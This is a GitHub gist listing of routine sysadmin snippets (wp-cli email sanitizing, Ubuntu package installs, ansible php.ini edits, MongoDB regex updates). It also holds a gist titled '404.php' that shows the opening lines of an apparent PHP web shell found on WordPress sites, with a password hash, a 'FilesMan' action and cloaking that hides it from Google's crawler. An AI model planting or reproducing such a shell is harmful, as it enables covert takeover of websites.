Skip to content

Instantly share code, notes, and snippets.

@zohar
zohar / sanitize-wordpress.sh
Last active November 6, 2019 10:16
Sanitize mails in Wordpress - user_email column on wp_users table - using wp-cli
wp search-replace '^([^@]*)@(.*)$' '\1@localhost' wp_users --include-columns=user_email --regex --regex-flags='i'
@zohar
zohar / ubuntu-install-procedure
Last active October 9, 2017 12:28
Apt-get install - required packages for Drupal on Ubuntu (OpenideaL)
apt-get -y update && apt-get -y upgrade
locale-gen UTF-8
# vim /etc/default/locale, add LC_ALL="en_US.UTF-8"
apt-add-repository ppa:ansible/ansible
apt-get update
# General packages
apt-get install -y git zip software-properties-common ansible
##############
@zohar
zohar / modify-php.ini.sh
Created August 17, 2017 12:56
Modify a php.ini file and reload the webserver
ansible masked-servers -m ini_file -a "dest=/etc/php5/fpm/php.ini section=PHP option=max_input_vars value=2000" -b -u ubuntu
ansible masked-servers -m service -a "name=nginx state=reloaded" -b -u ubuntu
@zohar
zohar / 404.php
Last active April 8, 2016 14:58
404.php - used by hackers to retrieve information from Wordpress websites
<?php
$auth_pass = "a87154cadb595987488efc87a398ecf1";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@zohar
zohar / gist:426b60e1d73709bc3c94
Created February 26, 2015 09:20
Find and replace an element in an array in a sub document
// after.2.value - becaus ewe know exactly what to look for
db.test.update({after:{$elemMatch:{"type":"password"}}},{$set:{"after.2.value":'xxxxx'}},{multi:true, upsert:false});
@zohar
zohar / gist:a047e265e336b329f811
Created February 24, 2015 21:38
MongoDB: Find by regular expression and run regex replace on results
/*
MongoDB: Find by regular expression and run regex replace on results
*/
db.test.find({"url": { $regex: 'http:\/\/' }}).forEach(function(doc) {
doc.url = doc.url.replace(/http:\/\/www\.url\.com/g, 'http://another.url.com');
db.test.save(doc);
});
@zohar
zohar / gist:b873e6abd10b0d88937f
Created February 24, 2015 21:29
use regex to update multiple lines in mongo
/*
use regex to update multiple lines in mongo
*/
db.users.update({"email":{$regex:'.*@example.com$'}},{ $set: {"roles" : [ "authenticated", "admin" ] }}, {multi: true, upsert:false})